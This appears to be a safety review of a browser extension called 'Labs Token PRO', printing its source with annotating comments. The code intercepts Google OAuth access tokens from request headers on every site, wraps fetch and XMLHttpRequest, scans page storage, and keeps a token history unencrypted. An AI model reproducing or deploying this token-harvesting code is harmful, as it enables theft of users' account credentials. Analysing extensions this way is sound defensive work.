Is Labs Token PRO safe?

// Background service worker: intercepts the Authorization header on
// every outgoing HTTP request across every site (urls: <all_urls>).
let latestToken = '';
let tokenHistory = []; // rolling log of the 5 most recent tokens
const MAX_HISTORY = 5;

// --- Method 1: browser-level network listener, all sites ---
chrome.webRequest.onBeforeSendHeaders.addListener(
  (details) => {
    const authHeader = details.requestHeaders.find(
      header => header.name.toLowerCase() === 'authorization'
    );

    if (authHeader && authHeader.value) {
      let token = null;

      // Matches Google OAuth2 access tokens (format: ya29.*)
      if (authHeader.value.startsWith('Bearer ya29.')) {
        token = authHeader.value.substring(7); // strip "Bearer "
      } else if (authHeader.value.startsWith('ya29.')) {
        token = authHeader.value;
      }

      if (token && token !== latestToken) {
        latestToken = token;

        tokenHistory.unshift(token);
        if (tokenHistory.length > MAX_HISTORY) {
          tokenHistory = tokenHistory.slice(0, MAX_HISTORY);
        }

        // Persists to chrome.storage.local, unencrypted
        chrome.storage.local.set({
          googleToken: token,
          tokenHistory: tokenHistory,
          lastUpdate: Date.now()
        });
      }
    }
  },
  { urls: ['<all_urls>'] }, // no site restriction, despite the manifest's labs.google scope
  ['requestHeaders']
);

// --- Method 2: receives tokens relayed by content.js as a fallback ---
chrome.runtime.onMessage.addListener((msg, sender, sendResponse) => {
  if (msg.token) {
    let token = msg.token;
    if (token.startsWith('Bearer ')) {
      token = token.substring(7);
    }
    if (token && token !== latestToken) {
      latestToken = token;
      tokenHistory.unshift(token);
      if (tokenHistory.length > MAX_HISTORY) {
        tokenHistory = tokenHistory.slice(0, MAX_HISTORY);
      }
      chrome.storage.local.set({
        googleToken: token,
        tokenHistory: tokenHistory,
        lastUpdate: Date.now()
      });
    }
  }

  // Popup asks for the in-memory token
  if (msg.action === 'getToken') {
    sendResponse({
      token: latestToken,
      history: tokenHistory,
      lastUpdate: msg.lastUpdate || Date.now()
    });
    return true;
  }

  // Popup asks for the persisted token if memory was cleared (e.g. service worker restart)
  if (msg.action === 'getTokenFromStorage') {
    chrome.storage.local.get(['googleToken', 'tokenHistory', 'lastUpdate'], (result) => {
      if (result.googleToken && !latestToken) {
        latestToken = result.googleToken;
        tokenHistory = result.tokenHistory || [];
      }
      sendResponse({
        token: result.googleToken || latestToken,
        history: result.tokenHistory || tokenHistory,
        lastUpdate: result.lastUpdate
      });
    });
    return true;
  }
});

// --- Restores the last-known token from storage on service worker startup ---
chrome.storage.local.get(['googleToken', 'tokenHistory'], (result) => {
  if (result.googleToken) {
    latestToken = result.googleToken;
    tokenHistory = result.tokenHistory || [];
  }
});

// Content script fallback: runs on every site (manifest matches *://*/*,
// document_start), independent of the background listener above.
(() => {
  if (window.__tokenExtractorV2) return;
  window.__tokenExtractorV2 = true;

  // Fallback A: wraps window.fetch to read the Authorization header
  // of every fetch call made by the page itself.
  const origFetch = window.fetch;
  window.fetch = async function(...args) {
    const [resource, config] = args;
    let auth = null;

    if (config?.headers) {
      if (config.headers.get) {
        auth = config.headers.get('Authorization') || config.headers.get('authorization');
      } else if (typeof config.headers === 'object') {
        auth = config.headers.Authorization || config.headers.authorization;
      }
    }

    if (auth) {
      if (auth.startsWith('Bearer ya29.') || auth.startsWith('ya29.')) {
        try {
          chrome.runtime.sendMessage({ token: auth }); // relay to background.js
        } catch (e) {
          // extension context invalidated, ignore
        }
      }
    }

    return origFetch.apply(this, args);
  };

  // Fallback B: wraps XMLHttpRequest.setRequestHeader for pages that use XHR instead of fetch
  const origOpen = XMLHttpRequest.prototype.open;
  const origSetRequestHeader = XMLHttpRequest.prototype.setRequestHeader;

  XMLHttpRequest.prototype.setRequestHeader = function(header, value) {
    if (header.toLowerCase() === 'authorization') {
      if (value.startsWith('Bearer ya29.') || value.startsWith('ya29.')) {
        try {
          chrome.runtime.sendMessage({ token: value });
        } catch (e) {
          // ignore
        }
      }
    }
    return origSetRequestHeader.apply(this, arguments);
  };

  // Fallback C: listens for the window 'storage' event and scans any
  // localStorage/sessionStorage key containing 'token' or 'auth' for a
  // ya29./Bearer value, in case a page persists the token instead of
  // sending it directly.
  const storageHandler = (e) => {
    if (e.key && (e.key.includes('token') || e.key.includes('auth'))) {
      const val = e.newValue;
      if (val && (val.includes('ya29.') || val.includes('Bearer'))) {
        try {
          chrome.runtime.sendMessage({ token: val });
        } catch (e) {
          // ignore
        }
      }
    }
  };
  window.addEventListener('storage', storageHandler);

  console.log('Token extractor loaded, multiple fallbacks active');
})();